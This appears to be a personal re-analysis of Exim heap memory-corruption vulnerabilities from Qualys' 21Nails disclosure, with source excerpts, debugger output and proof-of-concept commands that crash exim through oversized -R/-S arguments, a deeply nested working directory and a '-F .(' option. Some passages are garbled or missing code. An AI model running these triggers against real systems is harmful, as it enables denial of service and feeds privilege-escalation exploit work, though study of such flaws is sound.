EXIM: CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
EXIM: Analysis 4.92.1-R
This is just as re-analysis to better understand, the reporter and author of there vulnerabileties is company Qualys official link: https://www.qualys.com/2021/05/04/21nails/21nails.txt
CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
- Callers of
pdkim_finish_bodyhash()
main() → receive_msg() → dkim_exim_verify_finish()
dkim_exim_verify_finish() be called to verify DKIM (DomainKeys Identified Mail)
signature, then calls pdkim_feed_finish() , which calls pdkim_finish_bodyhash()
- DKIM (DomainKeys Identified Mail) looks like this.

Code of the function pdkim_finish_bodyhash()
...
/* VERIFICATION --------------------------------------------------------- */
/* Be careful that the header sig included a bodyash */
if ( sig->bodyhash.data
&& memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
{
DEBUG(D_acl) debug_printf("PDKIM [%s] Body hash compared OK\n", sig->domain);
}
else
{
DEBUG(D_acl)
{
debug_printf("PDKIM [%s] Body hash signature from headers: ", sig->domain);
pdkim_hexprint(sig->bodyhash.data, sig->bodyhash.len);
debug_printf("PDKIM [%s] Body hash did NOT verify\n", sig->domain);
}
sig->verify_status = PDKIM_VERIFY_FAIL;
sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
}
...
Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled (through a “DKIM-Signature:” mail header) and memcmp() is called without checking first that sig->bodyhash.len is equal to b->bh.len: memcmp() can read sig->bodyhash.data out-of-bounds. If the acl_smtp_dkim is set (it is unset by default), an unauthenticated remote attacker may transform this vulnerability into an information disclosure; we have not fully explored this possibility.
CVE-2020-28011: Heap buffer overflow in queue_run()
Through the -R deliver_selectstring and -S deliver_selectstring_sender options, the “exim” (user depends on what user you give in Makefile, if you give your own owned user, sudo chown -R $USER:$USER /var/spool/exim appropriate rights should be given to spool directory) user can overflow the heap-based big_buffer in queue_run() (lines 419 and 423):
First, we start by running command line: -R flag:
exim/src #exim-4.92.2-RC1 > /usr/sbin/exim -R `perl -e 'print "A" x 128000'` 4s 15:30:19
[1] 40146 segmentation fault (core dumped) /usr/sbin/exim -R `perl -e 'print "A" x 128000'`
which gives SEGV Error, the reason is heap corruption. if look the reason under microscope: we can the reason is clear.

CS p :
CS from:

#define CS (char *)
…is a preprocessor directive that defines CS as a shorthand for (char *). Here’s what it means in practice:
#definetells the C preprocessor: “whenever you seeCS, replace it with(char *)before compilation.”(char *)is a type cast to acharpointer.
So:
char *p = CS 0xdeadbeef
Becomes:
char *p = (char *) 0xdeadbeef;
p is from:

extras[8] is a pointer. Pointer points to heap space.
------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
/usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted
/usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted
CVE-2020-28010: Heap out-of-bounds write in main()
For debugging and logging purposes, Exim copies the current working directory (initial_cwd) into the heap-based big_buffer:


The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at least) initial_cwd can be much longer than big_buffer_size (16KB): line 3953 can increase p past big_buffer’s end, and line 3956 (and beyond) can write out of big_buffer’s bounds. We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges.
------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)
perl -e 'use strict;
my $a = "A" x 255;
for (my $i = 0; $i < 4096; $i++) {
mkdir "$a", 0700 or die;
chdir "$a" or die; }
exec "/usr/sbin/exim", "-d+all" or die;'
...
23:50:39 5588 changed uid/gid: forcing real = effective
23:50:39 5588 uid=0 gid=1001 pid=5588
...
Segmentation fault
History
This vulnerability was introduced in Exim 4.92:
------------------------------------------------------------------------
commit 805fd869d551c36d1d77ab2b292a7008d643ca79
Date: Sat May 19 12:09:55 2018 -0400
...
Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
+ p += 4 + Ustrlen(initial_cwd);
+ /* in case p is near the end and we don't provide enough space for
+ * string_format to be willing to write. */
+ *p = '\0';
- while (*p) p++;
------------------------------------------------------------------------
CVE-2020-28013: Heap buffer overflow in parse_fix_phase()
If a local attacker executes Exim with a -F '.(' option (for example), then parse_fix_phrase() calls strncpy() with a -1 size (which overflows the destination buffer, because strncpy(dest, src, n) “writes additional null bytes to dest to ensure that a total of n bytes are written”). Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is decremented, and at line 1127 ss-s is equal to -1:

Debugging:
...
pwndbg> p ss
$19 = (const uschar *) 0x7ffcc1406297 "("
pwndbg> p s
$20 = (const uschar *) 0x7ffcc1406298 ""
pwndbg> p/d ss-s
$21 = -1
Proof of the concept
------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
id
uid=1001(jane) gid=1001(jane) groups=1001(jane)
/usr/sbin/exim4 -bt -F '.('
Segmentation fault